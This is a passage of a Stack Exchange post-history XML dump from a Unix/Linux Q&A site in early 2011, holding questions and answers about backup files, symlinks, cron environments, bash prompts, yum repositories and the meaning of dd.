  <row Id="15603" PostHistoryTypeId="2" PostId="6782" RevisionGUID="318c2c3c-cb0e-4619-b760-d7b4f1ea7d50" CreationDate="2011-02-02T01:11:32.507" UserId="3169" Text="It's basically removing backup files.&#xD;&#xA;&#xD;&#xA;`*~` means all files ending in `~`.&#xD;&#xA;&#xD;&#xA;Many Unix/Linux systems programs create backup files that end in `~`.&#xD;&#xA;&#xD;&#xA;For example, if you put `:set backup` in your `.vimrc`, Vim will automatically keep a backup of a file by adding `~` to the file name.&#xD;&#xA;&#xD;&#xA;If you're familiar with Windows, it's kinda like `*.bak`.&#xD;&#xA;" />
  <row Id="15604" PostHistoryTypeId="5" PostId="6782" RevisionGUID="5909c871-40a8-4cac-a20b-66674deeefcc" CreationDate="2011-02-02T01:20:24.537" UserId="3169" Comment="added 130 characters in body" Text="It's basically removing backup files.&#xD;&#xA;&#xD;&#xA;`*~` means all files ending in `~`.&#xD;&#xA;&#xD;&#xA;Many Unix/Linux systems programs create backup files that end in `~`.&#xD;&#xA;&#xD;&#xA;For example, the `emacs` and `nano` editors automatically save a backup copy of each file you edit.  When it saves a file, the old version gets saved using the file name with a tilde (`~`) added to the end.&#xD;&#xA;&#xD;&#xA;`Vim` will do the same if you put `:set backup` in your `.vimrc`.&#xD;&#xA;&#xD;&#xA;`*~` on Unix/Linux is like `*.bak` on Windows.&#xD;&#xA;" />
  <row Id="15605" PostHistoryTypeId="5" PostId="6763" RevisionGUID="498abb9b-37f0-4f79-8e21-7abe7d5d9beb" CreationDate="2011-02-02T02:12:06.813" UserId="250" Comment="Add link to boot single mode" Text="Most probably the new kernel doesn't have the modules that comes with your proprietary driver and fails to use your configuration files. If you still have the boot menu that comes with a default Ubuntu installation then you can choose &quot;Recovery mode&quot;. In the next menu choose to boot into safe mode, and if Ubuntu asks if you want to create a new configuration file just allow it to do so. There should be other ways to generate new configuration (like deleting some dot files) but I just know this way.&#xD;&#xA;&#xD;&#xA;Then when everything is OK reinstall the graphic driver.&#xD;&#xA;&#xD;&#xA;Edit: to boot into recovery mode see the question [How do I prevent GRUB from using/starting any graphical UI?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/4027/250" />
  <row Id="15606" PostHistoryTypeId="25" PostId="6781" RevisionGUID="68e834fc-c989-40d3-9f10-e6e7e136b4ec" CreationDate="2011-02-02T02:16:14.887" Comment="http://twitter.com/#!/StackUnix/status/32623296646217729" />
  <row Id="15608" PostHistoryTypeId="2" PostId="6784" RevisionGUID="32d2ea23-ae1e-4058-af91-8468023982fc" CreationDate="2011-02-02T03:44:39.147" UserId="4352" Text="By adding:  &#xD;&#xA;exec &gt; /tmp/debug-my-script.txt 2&gt;&amp;1  &#xD;&#xA;at the beginning of the scripts file I was able to at least trap the error messages that was coming from the Python program (an authentication error with postgres). So the script is running at boot time. It just fails during the run" />
  <row Id="15609" PostHistoryTypeId="5" PostId="6784" RevisionGUID="2530c9aa-7701-4d1f-9458-a0565c3d00f4" CreationDate="2011-02-02T03:50:41.680" UserId="4352" Comment="added 61 characters in body" Text="By adding:  &#xD;&#xA;exec &gt; /tmp/debug-my-script.txt 2&gt;&amp;1  &#xD;&#xA;at the beginning of the scripts file I was able to at least trap the error messages that was coming from the Python program (an authentication error with postgres). So the script is running at boot time (after much community input). It just fails during the run (which is a different problem)." />
  <row Id="15610" PostHistoryTypeId="5" PostId="6784" RevisionGUID="702ae138-e909-4efe-aaa0-1ef972f3194a" CreationDate="2011-02-02T04:04:34.353" UserId="73" Comment="added 6 characters in body" Text="By adding:&#xD;&#xA;&#xD;&#xA;    exec &gt; /tmp/debug-my-script.txt 2&gt;&amp;1  &#xD;&#xA;&#xD;&#xA;at the beginning of the scripts file I was able to at least trap the error messages that was coming from the Python program (an authentication error with postgres). So the script is running at boot time (after much community input). It just fails during the run (which is a different problem)." />
  <row Id="15611" PostHistoryTypeId="5" PostId="5569" RevisionGUID="c1ef4a61-5710-4783-bc7f-5752f30e4566" CreationDate="2011-02-02T04:24:29.927" UserId="3519" Comment="partial resolution (progress) on sane-devel; added 6 characters in body" Text="I have read a number of posts on the topic and it seems that for now it is not possible to use sane to read infrared data (second pass) with my Epson Perfection V700 scanner out of the box.&#xD;&#xA;&#xD;&#xA;But are there any options to get that working? Any known patch? Any configuration behind the scenes? Any undocumented feature?&#xD;&#xA;&#xD;&#xA;I just asked the question on Avasys' message board, but if any of you guys out there had relevant information, I would appreciate greatly.&#xD;&#xA;&#xD;&#xA;Of particular interest is the 6400dpi resolution in 16bits per channel to scan slides, so I need the infrared option on the `epkowa` driver as the `epson2` driver seems limited to 3200dpi anyway.&#xD;&#xA;&#xD;&#xA;As far as I can tell neither `epkowa` nor `epson2` offers the infrared scan, though it seems that it should be a simple option (`vuescan` actually can do the job, it does two scan passes, one for the RGB and one for the infrared, but I would much prefer to be able to do my scans from the command-line).&#xD;&#xA;&#xD;&#xA;Note that I don't mind if the infrared scan comes out as a separate image, I can manage to combine them as needed.&#xD;&#xA;&#xD;&#xA;Also of interest and not included in the current `sane-epkowa` driver are:  &#xD;&#xA;1/ scans with multiple samples  &#xD;&#xA;2/ confirmation that the `scanimage` `-brightness` setting actually changes the CCD exposure time (rather than performing software image processing)&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Edit 2011-02-01: check sane-devel for the start of an answer.&#xD;&#xA;&#xD;&#xA;sane-backends v1.0.21 has code that's unused by default.&#xD;&#xA;A tweak in epson2.c to enable my scanner (GT-X900) and a configure option to enable IR (CPPFLAGS=-DSANE_FRAME_IR) gets me a version that can at least pretend to do the job.&#xD;&#xA;&#xD;&#xA;I still have to solve two significant issues before I can call it a victory:  &#xD;&#xA;1/ with --mode=Infrared, the output image format seems incorrect.  &#xD;&#xA;2/ --mode=Infrared does not actually produce IR data, it seems like it produces grayscale, albeit in a funny format.&#xD;&#xA;&#xD;&#xA;More tweaking will be necessary before I get the desired result.&#xD;&#xA;&#xD;&#xA;Again, if any of you has any idea that would help, please shout." />
  <row Id="15612" PostHistoryTypeId="25" PostId="6760" RevisionGUID="f2971dad-74f0-47d2-a8fa-4361c4ee50eb" CreationDate="2011-02-02T05:16:15.553" Comment="http://twitter.com/#!/StackUnix/status/32668596568068096" />
  <row Id="15613" PostHistoryTypeId="25" PostId="6776" RevisionGUID="e8a9e157-4277-46eb-bf5d-bd843989ce59" CreationDate="2011-02-02T08:16:15.913" Comment="http://twitter.com/#!/StackUnix/status/32713898465431553" />
  <row Id="15614" PostHistoryTypeId="2" PostId="6785" RevisionGUID="bfa61e23-4209-4b5e-a170-7feb972fe4f2" CreationDate="2011-02-02T08:11:44.963" UserDisplayName="Amit" Text="i use fedora 14 and i am a newbie to linux. some days ago, i use command &quot; yum remove openoffice.org-* &quot; and removed openoffice successively. the, i wanted to get it back. i have all the packages and dependancies reqi=uired to install in installation dvd. the problem is that when i try to manually install each package, yum does not check dependancies in the  DVD. how can i configure yum to look for all dependancies and packages required , in the dvd .... " />
  <row Id="15615" PostHistoryTypeId="1" PostId="6785" RevisionGUID="bfa61e23-4209-4b5e-a170-7feb972fe4f2" CreationDate="2011-02-02T08:11:44.963" UserDisplayName="Amit" Text="installing through yum in fedora 14" />
  <row Id="15616" PostHistoryTypeId="3" PostId="6785" RevisionGUID="bfa61e23-4209-4b5e-a170-7feb972fe4f2" CreationDate="2011-02-02T08:11:44.963" UserDisplayName="Amit" Text="éfedoraàéyumà" />
  <row Id="15617" PostHistoryTypeId="17" PostId="6785" RevisionGUID="e24dec6a-d77c-4c56-8bf6-c1c862abfbfc" CreationDate="2011-02-02T09:15:49.020" UserId="-1" Comment="from http://stackoverflow.com/questions/4872084/installing-through-yum-in-fedora-14" Text="" />
  <row Id="15618" PostHistoryTypeId="2" PostId="6786" RevisionGUID="4efb1ed6-8aa6-4530-9f8f-1a197333008e" CreationDate="2011-02-02T10:33:29.010" UserId="4300" Text="This **can** indeed be done atomically with `rename(2)`, by first creating the new symlink under a temporary name and then cleanly overwriting the old symlink in one go. As the [man page][1] states:&#xD;&#xA;&#xD;&#xA;&gt; If *newpath* refers to a symbolic link the link will be overwritten.&#xD;&#xA;&#xD;&#xA;In the shell, you would do this with `mv -T` as follows:&#xD;&#xA;&#xD;&#xA;    $ mkdir a b&#xD;&#xA;    $ ln -s a z&#xD;&#xA;    $ ln -s b z.new&#xD;&#xA;    $ mv -T z.new z&#xD;&#xA;&#xD;&#xA;You can `strace` that last command to make sure it is indeed using `rename(2)` under the hood:&#xD;&#xA;&#xD;&#xA;    $ strace mv -T z.new z&#xD;&#xA;    lstat64(&quot;z.new&quot;, {st_mode=S_IFLNK|0777, st_size=1, ...}) = 0&#xD;&#xA;    lstat64(&quot;z&quot;, {st_mode=S_IFLNK|0777, st_size=1, ...}) = 0&#xD;&#xA;    rename(&quot;z.new&quot;, &quot;z&quot;)                    = 0&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/2/rename" />
  <row Id="15619" PostHistoryTypeId="5" PostId="6786" RevisionGUID="a8b5d041-7275-4c96-aaad-407c30a879b0" CreationDate="2011-02-02T10:39:56.337" UserId="4300" Comment="added 145 characters in body" Text="This **can** indeed be done atomically with `rename(2)`, by first creating the new symlink under a temporary name and then cleanly overwriting the old symlink in one go. As the [man page][1] states:&#xD;&#xA;&#xD;&#xA;&gt; If *newpath* refers to a symbolic link the link will be overwritten.&#xD;&#xA;&#xD;&#xA;In the shell, you would do this with `mv -T` as follows:&#xD;&#xA;&#xD;&#xA;    $ mkdir a b&#xD;&#xA;    $ ln -s a z&#xD;&#xA;    $ ln -s b z.new&#xD;&#xA;    $ mv -T z.new z&#xD;&#xA;&#xD;&#xA;You can `strace` that last command to make sure it is indeed using `rename(2)` under the hood:&#xD;&#xA;&#xD;&#xA;    $ strace mv -T z.new z&#xD;&#xA;    lstat64(&quot;z.new&quot;, {st_mode=S_IFLNK|0777, st_size=1, ...}) = 0&#xD;&#xA;    lstat64(&quot;z&quot;, {st_mode=S_IFLNK|0777, st_size=1, ...}) = 0&#xD;&#xA;    rename(&quot;z.new&quot;, &quot;z&quot;)                    = 0&#xD;&#xA;&#xD;&#xA;Note that in the above, both `mv -T` and `strace` are Linux-specific. I don't know of a shell equivalent of `mv -T` on FreeBSD, for instance.&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/2/rename" />
  <row Id="15620" PostHistoryTypeId="2" PostId="6787" RevisionGUID="bc5b122c-fd58-4dba-8f88-3ee7b7e7430e" CreationDate="2011-02-02T10:52:39.387" UserId="4297" Text="One thing that has been puzzling me for some time is this:&#xD;&#xA;&#xD;&#xA;    % which halt&#xD;&#xA;    /sbin/halt&#xD;&#xA;    % file /sbin/halt&#xD;&#xA;    /sbin/halt: symbolic link to `reboot'&#xD;&#xA;&#xD;&#xA;However, executing `sudo halt` does, of course, **not** reboot the system. Why is that?&#xD;&#xA;&#xD;&#xA;There are several other programs working that way, for example `pdflatex`." />
  <row Id="15621" PostHistoryTypeId="1" PostId="6787" RevisionGUID="bc5b122c-fd58-4dba-8f88-3ee7b7e7430e" CreationDate="2011-02-02T10:52:39.387" UserId="4297" Text="Why do some symbolic links affect program behavior?" />
  <row Id="15622" PostHistoryTypeId="3" PostId="6787" RevisionGUID="bc5b122c-fd58-4dba-8f88-3ee7b7e7430e" CreationDate="2011-02-02T10:52:39.387" UserId="4297" Text="ésymlinkà" />
  <row Id="15623" PostHistoryTypeId="2" PostId="6788" RevisionGUID="0dd8c7e3-69a8-4421-9677-6bda87b3e6b9" CreationDate="2011-02-02T10:56:41.640" UserId="3169" Text="Every program can examine the name that was used to call it.&#xD;&#xA;&#xD;&#xA;In a C program, the program name is stored in `argv[0]`.&#xD;&#xA;&#xD;&#xA;From the command line, you can check the arguments using `ps -p &lt;pid&gt; -o cmd`  &#xD;&#xA;or `cat /proc/&lt;pid&gt;/cmdline`." />
  <row Id="15624" PostHistoryTypeId="5" PostId="6788" RevisionGUID="414ec6dc-fdb8-43ae-92c1-259c9eef8bad" CreationDate="2011-02-02T11:02:14.783" UserId="3169" Comment="added 196 characters in body; added 341 characters in body; deleted 14 characters in body" Text="Every program can examine the name that was used to call it.&#xD;&#xA;&#xD;&#xA;In a C program, the program name is stored in `argv[0]`.&#xD;&#xA;&#xD;&#xA;From the command line, you can check it using `ps -p &lt;pid&gt; -o cmd` or `cat /proc/&lt;pid&gt;/cmdline`.&#xD;&#xA;&#xD;&#xA;Note that there is also called a hard link that will have the same effect.  On my system for example, `sudo` and `sudoedit` are the same file with two different names, and different behaviors.&#xD;&#xA;&#xD;&#xA;`ls -i` can help you find those commands, e.g.:&#xD;&#xA;&#xD;&#xA;    $ ls -il | awk '$3 != 1 { print }'&#xD;&#xA;    total 156872&#xD;&#xA;    2491111 -rwsr-xr-x 2 root   root     127560 2011-01-20 05:03 sudo&#xD;&#xA;    2491111 -rwsr-xr-x 2 root   root     127560 2011-01-20 05:03 sudoedit&#xD;&#xA;&#xD;&#xA;See `man ln` for more details about hard links if you're not familiar with them." />
  <row Id="15625" PostHistoryTypeId="25" PostId="6787" RevisionGUID="40070a0a-5b32-48bb-b135-37f17d0dce9d" CreationDate="2011-02-02T11:16:16.007" Comment="http://twitter.com/#!/StackUnix/status/32759197263200258" />
  <row Id="15626" PostHistoryTypeId="2" PostId="6789" RevisionGUID="0d70f4b0-8a2b-4c3b-ab08-fbfdfb5ddc97" CreationDate="2011-02-02T13:18:16.210" UserId="4410" Text="&#xD;&#xA;Do you have to use vlc? mplayer can usually work out a video dvd iso (or even a partial incomplete iso) contains mpeg streams well enough to play them without loopback mounting or complicated flags. Doing it this way means menus, subtitles, alternate soundtracks are unlikely to work tho.       &#xD;&#xA;&#xD;&#xA;  mplayer /path/to/dvd.iso " />
  <row Id="15627" PostHistoryTypeId="25" PostId="6785" RevisionGUID="b2cf8847-cf76-4cc9-b39a-f43c3a799d0c" CreationDate="2011-02-02T14:16:24.583" Comment="http://twitter.com/#!/StackUnix/status/32804531385405440" />
  <row Id="15628" PostHistoryTypeId="5" PostId="6227" RevisionGUID="dbe49bd8-0eab-429d-b344-cd6c580570b5" CreationDate="2011-02-02T14:30:05.247" UserId="688" Comment="formatting; typo" Text="Edit your &quot;**/etc/ssh/ssh_config**&quot; and comment these lines:&#xD;&#xA;&#xD;&#xA;    GSSAPIAuthentication yes&#xD;&#xA;    GSSAPIDelegateCredentials no&#xD;&#xA;" />
  <row Id="15629" PostHistoryTypeId="2" PostId="6790" RevisionGUID="847b9b34-69bb-4bef-8fa2-52b06720e68b" CreationDate="2011-02-02T14:45:04.400" UserId="4413" Text="I have a test.sh script&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    php /home/v/file.php&#xD;&#xA;    sh /root/x/some.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when I execute the file as root from command line it works.&#xD;&#xA;  &#xD;&#xA;    sh /home/v/test.sh &#xD;&#xA;&#xD;&#xA;when I set it to crontab -e (is the root cron), is not working&#xD;&#xA;&#xD;&#xA;     * * * * * sh /home/v/test.sh&#xD;&#xA;&#xD;&#xA;What do I do wrong?&#xD;&#xA;Thanks&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;" />
  <row Id="15630" PostHistoryTypeId="1" PostId="6790" RevisionGUID="847b9b34-69bb-4bef-8fa2-52b06720e68b" CreationDate="2011-02-02T14:45:04.400" UserId="4413" Text="executing a sh script from the cron" />
  <row Id="15631" PostHistoryTypeId="3" PostId="6790" RevisionGUID="847b9b34-69bb-4bef-8fa2-52b06720e68b" CreationDate="2011-02-02T14:45:04.400" UserId="4413" Text="éshellàédebianàécronà" />
  <row Id="15632" PostHistoryTypeId="2" PostId="6791" RevisionGUID="cc7ddd6a-d8fb-41f4-9f78-a837243bcbbd" CreationDate="2011-02-02T15:37:37.237" UserId="3482" Text="Sounds like you need to update your `/etc/yum.repos.d` to include your dvd. See here for details: [Howto Setup yum repositories to update or install package from ISO CDROM Image][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/tips/redhat-centos-fedora-linux-setup-repo.html" />
  <row Id="15633" PostHistoryTypeId="2" PostId="6792" RevisionGUID="718e4282-4739-4946-9574-00e579c92757" CreationDate="2011-02-02T15:54:24.470" UserId="431" Text="&#xD;&#xA;I know about the phpinfo() way but is there any other way? I'm using CentOS and I can't find the httpd executable to run httpd -v." />
  <row Id="15634" PostHistoryTypeId="1" PostId="6792" RevisionGUID="718e4282-4739-4946-9574-00e579c92757" CreationDate="2011-02-02T15:54:24.470" UserId="431" Text="How can I tell what version of apache I'm running?" />
  <row Id="15635" PostHistoryTypeId="3" PostId="6792" RevisionGUID="718e4282-4739-4946-9574-00e579c92757" CreationDate="2011-02-02T15:54:24.470" UserId="431" Text="éapacheà" />
  <row Id="15636" PostHistoryTypeId="2" PostId="6793" RevisionGUID="84a49e7f-e037-4bf6-8c9b-6154d8c129a3" CreationDate="2011-02-02T15:58:53.547" UserId="3976" Text="Either `rpm -q httpd` or `/usr/sbin/httpd -v` should work." />
  <row Id="15637" PostHistoryTypeId="2" PostId="6794" RevisionGUID="1d6f015d-e742-4a88-8da6-1adf43f449f2" CreationDate="2011-02-02T16:03:49.730" UserId="3372" Text="According to the man:&#xD;&#xA;&#xD;&#xA;&gt;    The cron daemon starts a subshell&#xD;&#xA;&gt; from your HOME directory. If you&#xD;&#xA;&gt; schedule a command to run when you are&#xD;&#xA;&gt; not    logged in and you want commands&#xD;&#xA;&gt; in your .profile file to run, the&#xD;&#xA;&gt; command must explicitly read your&#xD;&#xA;&gt; .profile    file.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    The cron daemon supplies a default&#xD;&#xA;&gt; environment for every shell, defining&#xD;&#xA;&gt; HOME, LOGNAME, SHELL (=/usr/bin/sh),  &#xD;&#xA;&gt; and PATH (=/usr/bin).&#xD;&#xA;&#xD;&#xA;So cron daemon doesn't know where php is and you should specify the full php path by hand, for example (I don't know your real PHP path):&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    /usr/local/bin/php /home/v/file.php&#xD;&#xA;    sh /root/x/some.sh&#xD;&#xA;&#xD;&#xA;Another way is to source the /etc/profile (or your .profile/.bashrc), for example&#xD;&#xA;&#xD;&#xA;    * * * * * . /home/v/.bashrc ; sh /home/v/test.sh&#xD;&#xA;&#xD;&#xA;This is useful if your .bashrc set the environment variables that you need (i.e. PATH)" />
  <row Id="15638" PostHistoryTypeId="2" PostId="6795" RevisionGUID="869a5a8e-a260-434f-9c2a-c78e200b77de" CreationDate="2011-02-02T16:16:08.913" UserId="4206" Text="There's two HDs in this server.  I don't see an md device (see title) or an mdstat file.  So, can I be safe that the second disk is currently unused?&#xD;&#xA;&#xD;&#xA;Yes, I do want/need the second disk as space much more than RAID-&quot;safety&quot;, in case you're wondering.&#xD;&#xA;&#xD;&#xA;OS is Debian sid (aka unstable)." />
  <row Id="15639" PostHistoryTypeId="1" PostId="6795" RevisionGUID="869a5a8e-a260-434f-9c2a-c78e200b77de" CreationDate="2011-02-02T16:16:08.913" UserId="4206" Text="If there's no /dev/md* and not /proc/mdstat, is it safe to use a second disk as a second disk?" />
  <row Id="15640" PostHistoryTypeId="3" PostId="6795" RevisionGUID="869a5a8e-a260-434f-9c2a-c78e200b77de" CreationDate="2011-02-02T16:16:08.913" UserId="4206" Text="édebianàéserveràéraidà" />
  <row Id="15641" PostHistoryTypeId="2" PostId="6796" RevisionGUID="64313352-3e9f-477e-a770-2e0e4923e8a4" CreationDate="2011-02-02T16:32:20.147" UserId="455" Text="I have a situation where I need to provide a subshell to a user mid-way through a longish process. I would like to change the prompt to remind the user that they are in a special subshell and haven't gone through the rest of the process yet. I thought that this would do what I want...&#xD;&#xA;&#xD;&#xA;    echo &quot;PS1='foo:'&quot; | bash -i&#xD;&#xA;&#xD;&#xA;But when I enter that line, this is the output I get&#xD;&#xA;&#xD;&#xA;    me@mercury:~$ PS1='foo:'&#xD;&#xA;    foo:exit&#xD;&#xA;    me@mercury:~$ &#xD;&#xA;&#xD;&#xA;Is there a simple way around this? I could writeup my own custom bashrc... but I'd prefer to preserve the user's usual bash-shell setup." />
  <row Id="15642" PostHistoryTypeId="1" PostId="6796" RevisionGUID="64313352-3e9f-477e-a770-2e0e4923e8a4" CreationDate="2011-02-02T16:32:20.147" UserId="455" Text="Changing the PS1 on an interactive bash subshell easily" />
  <row Id="15643" PostHistoryTypeId="3" PostId="6796" RevisionGUID="64313352-3e9f-477e-a770-2e0e4923e8a4" CreationDate="2011-02-02T16:32:20.147" UserId="455" Text="ébashà" />
  <row Id="15644" PostHistoryTypeId="2" PostId="6797" RevisionGUID="f2f60dc5-c8ee-41f0-b804-db563cadaf96" CreationDate="2011-02-02T16:50:03.000" UserId="1338" Text="You can use process substitution to essentially make a ~/.bashrc that only exists for the `bash -i` invocation like so:&#xD;&#xA;&#xD;&#xA;     bash --rcfile &lt;(echo &quot;PS1='foo: '&quot;) -i" />
  <row Id="15645" PostHistoryTypeId="2" PostId="6798" RevisionGUID="41e89cc9-2d73-47c8-b95a-7659085b4311" CreationDate="2011-02-02T17:09:19.237" UserId="4223" Text="Hello, I need to upgrade my version of subversion however, simply running `yum update subversion` tells me:&#xD;&#xA;&#xD;&#xA;&gt; Loaded plugins: fastestmirror Loading&#xD;&#xA;&gt; mirror speeds from cached hostfile  *&#xD;&#xA;&gt; addons: mirror.nic.uoregon.edu  *&#xD;&#xA;&gt; base: mirror.ubiquityservers.com  *&#xD;&#xA;&gt; extras: centos.promopeddler.com  *&#xD;&#xA;&gt; updates: mirror.chpc.utah.edu Setting&#xD;&#xA;&gt; up Update Process No Packages marked&#xD;&#xA;&gt; for Update&#xD;&#xA;&#xD;&#xA;So, I need to know how I can find a repository for subversion-1.6 and the steps involved to impliment this repository on my machine. &#xD;&#xA;&#xD;&#xA;I see this rpm here: http://ftp.redhat.com/pub/redhat/linux/enterprise/5Client/en/os/SRPMS/subversion-1.6.11-7.el5.src.rpm but I don't know that this really helps.&#xD;&#xA;&#xD;&#xA;Thank you very much!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15646" PostHistoryTypeId="1" PostId="6798" RevisionGUID="41e89cc9-2d73-47c8-b95a-7659085b4311" CreationDate="2011-02-02T17:09:19.237" UserId="4223" Text="How do I enable a new repository in CentOS?" />
  <row Id="15647" PostHistoryTypeId="3" PostId="6798" RevisionGUID="41e89cc9-2d73-47c8-b95a-7659085b4311" CreationDate="2011-02-02T17:09:19.237" UserId="4223" Text="écentosàésubversionàéupgradeà" />
  <row Id="15648" PostHistoryTypeId="2" PostId="6799" RevisionGUID="a22ed740-9755-4aac-988c-f17c4b32958f" CreationDate="2011-02-02T17:12:20.390" UserId="4137" Text="Agree with SiegeX (who beat me to it :))&#xD;&#xA;&#xD;&#xA;To explain the behaviour:&#xD;&#xA;&#xD;&#xA;Bash will only start in interactive mode if its std in and out are normal terminals. That's not the case when piping in that initial command.&#xD;&#xA;&#xD;&#xA;You can use the `-c` option to provide commands, but that also precludes interactive mode.&#xD;&#xA;&#xD;&#xA;If you really want to preserve user rc, simply add some test/source statements in the rcfile string to source `~/.bashrc` and `/etc/bashrc` if the files exist.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15649" PostHistoryTypeId="25" PostId="6792" RevisionGUID="8b133a78-3b32-4193-b060-2fe88c98c90c" CreationDate="2011-02-02T17:16:27.470" Comment="http://twitter.com/#!/StackUnix/status/32849842237603840" />
  <row Id="15651" PostHistoryTypeId="2" PostId="6800" RevisionGUID="ec47b70e-9aa7-4047-bda2-2a5367101245" CreationDate="2011-02-02T18:07:41.420" UserId="576" Text="If I do `pwd` I notice it uses whatever symlinks I used to get into the current directory.  Can I get it to tell me the &quot;real&quot; directory I'm in ... i.e. the path from the root to my current directory without the use of any symlinks?" />
  <row Id="15652" PostHistoryTypeId="1" PostId="6800" RevisionGUID="ec47b70e-9aa7-4047-bda2-2a5367101245" CreationDate="2011-02-02T18:07:41.420" UserId="576" Text="pwd without symlinks" />
  <row Id="15653" PostHistoryTypeId="3" PostId="6800" RevisionGUID="ec47b70e-9aa7-4047-bda2-2a5367101245" CreationDate="2011-02-02T18:07:41.420" UserId="576" Text="ésymlinkà" />
  <row Id="15654" PostHistoryTypeId="2" PostId="6801" RevisionGUID="48e1ac70-8f66-402f-8de7-e510c7e975c9" CreationDate="2011-02-02T18:44:51.043" UserId="1207" Text="According to the POSIX manpage for `pwd`, the `-P` option may be of use:&#xD;&#xA;&#xD;&#xA;&gt;  -P     The absolute pathname written&#xD;&#xA;&gt; shall not contain filenames that, in&#xD;&#xA;&gt; the context of the pathname, refer to&#xD;&#xA;&gt; files of type symbolic link.&#xD;&#xA;&#xD;&#xA;Thus&#xD;&#xA;&#xD;&#xA;    $ pwd -P&#xD;&#xA;&#xD;&#xA;should be what you need.&#xD;&#xA;" />
  <row Id="15655" PostHistoryTypeId="2" PostId="6802" RevisionGUID="203b391d-1e7a-4c0f-b23c-e52173b34718" CreationDate="2011-02-02T19:04:14.147" UserId="4358" Text="If you want to install that specific package you can just do&#xD;&#xA;&gt; wget http://ftp.redhat.com/pub/redhat/linux/enterprise/5Client/en/os/SRPMS/subversion-1.6.11-7.el5.src.rpm&#xD;&#xA;&#xD;&#xA;&gt; rpmbuild --rebuild subversion-1.6.11-7.el5.src.rpm&#xD;&#xA;&#xD;&#xA;However the rpmforge repo has 1.6.6 in it, so you can enable that repo if you wish.&#xD;&#xA;&gt; yum install --nogpgcheck http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm&#xD;&#xA;&#xD;&#xA;&gt; yum update subversion&#xD;&#xA;&#xD;&#xA;Assuming of course that x86_64 is your arch, if not you can change that to `i386`" />
  <row Id="15656" PostHistoryTypeId="2" PostId="6803" RevisionGUID="c169a751-33bf-40ec-8f8f-abf77dcbcb45" CreationDate="2011-02-02T19:08:32.537" UserId="4358" Text="Well if you want to check if the drive is being used as an md raid device (and just not currently active), the only safe way to do it is to run `mdadm -E /dev/sdX`&#xD;&#xA;&#xD;&#xA;However if you dont care about whats on the drive (if youre going to wipe it anyway), then it doesnt matter either way." />
  <row Id="15657" PostHistoryTypeId="2" PostId="6804" RevisionGUID="d36ed31d-bd08-4706-9030-28913d546c22" CreationDate="2011-02-02T19:26:33.660" UserId="261" Text="I know very well what the command does, but `man dd`, `info dd` tell me: 'Convert and copy a file', as does [GNU Coreutils][1].&#xD;&#xA;&#xD;&#xA;Google says its an abbreviation of everything between medicine and bad webchat slang; except someone saying it means 'data destroyer', something used in PC forensics - I'd be horrified if my dd destroyed _my_ data!&#xD;&#xA;&#xD;&#xA;Any insight? :-)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/dd-invocation.html#dd-invocation" />
  <row Id="15658" PostHistoryTypeId="1" PostId="6804" RevisionGUID="d36ed31d-bd08-4706-9030-28913d546c22" CreationDate="2011-02-02T19:26:33.660" UserId="261" Text="What does dd stand for?" />
  <row Id="15659" PostHistoryTypeId="3" PostId="6804" RevisionGUID="d36ed31d-bd08-4706-9030-28913d546c22" CreationDate="2011-02-02T19:26:33.660" UserId="261" Text="éddàéacronymà" />
  <row Id="15660" PostHistoryTypeId="2" PostId="6805" RevisionGUID="fa0f90e0-c5d3-4d13-baf3-b5c8542e2474" CreationDate="2011-02-02T19:33:09.967" UserId="1660" Text="Wikipedia ([dd)][1] asserts it was named after **IBM JCL** command *DD* which stands for *Data Description*. I always thought it would mean *data duplicate*, though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Dd_(Unix)" />
  <row Id="15661" PostHistoryTypeId="2" PostId="6806" RevisionGUID="7a63a0ac-0aa8-4ef7-aea4-b1e4f40056f8" CreationDate="2011-02-02T19:33:23.103" UserId="1946" Text="My guess: it has something to do with &quot;Direct Disk access&quot;. :)" />
  <row Id="15662" PostHistoryTypeId="5" PostId="6666" RevisionGUID="ea2192a4-9c26-40c5-94e7-c5e8dc6549f7" CreationDate="2011-02-02T19:35:05.770" UserId="3848" Comment="add two code snippets; added 326 characters in body" Text="Adding the non-zero return value of the last command is a great idea.  I think the original poster was specifically asking about .profile/.cshrc/.bashrc.   It's worth mentioning the list of other commonly customized RC files, but I would stick to just shell customizations for this question.&#xD;&#xA;&#xD;&#xA;I also recently added a flag in my prompt that shows up when the&#xD;&#xA;shell is running under screen.  It uses the solaris &quot;ptree&quot; command&#xD;&#xA;to search ancestor processes, but you could use the &quot;pstree&quot; command&#xD;&#xA;on Linux to do the same thing.&#xD;&#xA;&#xD;&#xA;    SCREEN=&quot;&quot;&#xD;&#xA;    if [ -f /usr/bin/ptree ]; then&#xD;&#xA;       if ptree $$ | grep -v grep | grep -w screen &gt; /dev/null 2&gt;&amp;1; then&#xD;&#xA;           SCREEN=&quot;SCREEN &quot;&#xD;&#xA;       fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It took me a few minutes to figure out how to embed the return code of&#xD;&#xA;the last command, so I'll post it here.&#xD;&#xA;&#xD;&#xA;    PROMPT_COMMAND='if [ &quot;$?&quot; = 0 ]; \&#xD;&#xA;            then RC=&quot;&quot;; \&#xD;&#xA;            else RC=&quot;RV=$? &quot;; fi; PS1=&quot;% ${SCREEN}\h $RC\w\n% &quot;'&#xD;&#xA;&#xD;&#xA;I'm sure that could be made more beautiful.  :-)&#xD;&#xA;&#xD;&#xA;Future tip, be careful about reading $? after using &quot;if [&quot;.  If the left&#xD;&#xA;bracket is a built-in it will not override the value of $?.  But if you&#xD;&#xA;use a shell where [ is not built-in, then it will reset the value 